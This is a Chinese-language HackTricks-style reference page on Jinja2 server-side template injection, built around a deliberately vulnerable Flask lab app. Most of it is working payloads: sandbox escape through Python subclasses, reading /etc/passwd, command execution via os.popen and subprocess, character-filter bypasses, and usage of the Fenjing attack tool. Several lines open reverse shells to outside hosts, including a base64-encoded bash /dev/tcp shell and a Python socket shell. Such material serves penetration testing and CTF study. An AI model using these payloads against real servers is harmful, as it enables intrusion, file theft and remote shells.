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Jinja2 SSTI

{% hint style="success" %} 学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

实验

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

杂项

调试语句

如果启用了调试扩展，将会有一个 debug 标签可用来转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。

<pre>

{% raw %}
{% debug %}
{% endraw %}






</pre>

转储所有配置变量

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Jinja 注入

首先，在 Jinja 注入中，您需要找到一种方法从沙箱中逃脱并恢复访问常规的 Python 执行流程。为此，您需要滥用对象，这些对象来自非沙箱环境，但可以从沙箱中访问。

访问全局对象

例如，在代码 render_template("hello.html", username=username, email=email) 中，对象 username 和 email 来自非沙箱的 Python 环境，并且在沙箱环境中将是可访问的。
此外，还有其他对象将始终可以从沙箱环境中访问，这些对象是：

[]
''
()
dict
config
request

恢复 <class 'object'>

然后，从这些对象中我们需要到达类：<class 'object'> 以尝试 恢复 定义的 类。这是因为从这个对象我们可以调用 __subclasses__ 方法并 访问所有非沙箱 python 环境中的类。

为了访问该 对象类，您需要 访问一个类对象，然后访问 __base__、__mro__()[-1] 或 mro()[-1]。然后，在到达这个 对象类 之后，我们 调用 __subclasses__()。

查看这些示例：

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}




# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

在恢复 <class 'object'> 并调用 __subclasses__ 后，我们现在可以使用这些类来读取和写入文件以及执行代码。

对 __subclasses__ 的调用给了我们机会去 访问数百个新函数，我们只需访问 文件类 来 读取/写入文件 或任何可以访问 允许执行命令 的类（如 os）。

读取/写入远程文件

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

要了解您可以使用的更多类以逃避，您可以查看：

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

过滤器绕过

常见绕过

这些绕过将允许我们访问对象的属性，而不使用某些字符。
我们已经在之前的示例中看到了一些这些绕过，但在这里总结一下：

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

避免HTML编码

默认情况下，Flask出于安全原因对模板中的所有内容进行HTML编码：

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safe 过滤器允许我们将 JavaScript 和 HTML 注入到页面中 而不 进行 HTML 编码，如下所示：

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

通过编写恶意配置文件进行RCE。

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

没有几个字符

没有 {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Jinja 注入没有 <class 'object'>

从 全局对象 有另一种方法可以到达 RCE 而不使用该类。
如果你设法从这些全局对象中获取到任何 函数，你将能够访问 __globals__.__builtins__，从那里 RCE 是非常 简单 的。

你可以通过以下方式从对象 request、config 和任何 其他 有趣的 全局对象 中 找到函数：

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

一旦你找到了一些函数，你可以通过以下方式恢复内置函数：

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing 是一个专门用于CTF的工具，但在真实场景中也可以用于暴力破解无效参数。该工具仅仅喷洒单词和查询以检测过滤器，寻找绕过方法，并提供一个交互式控制台。

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

参考文献

{% hint style="success" %} 学习和实践 AWS Hacking：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP Hacking：HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks
{% endhint %}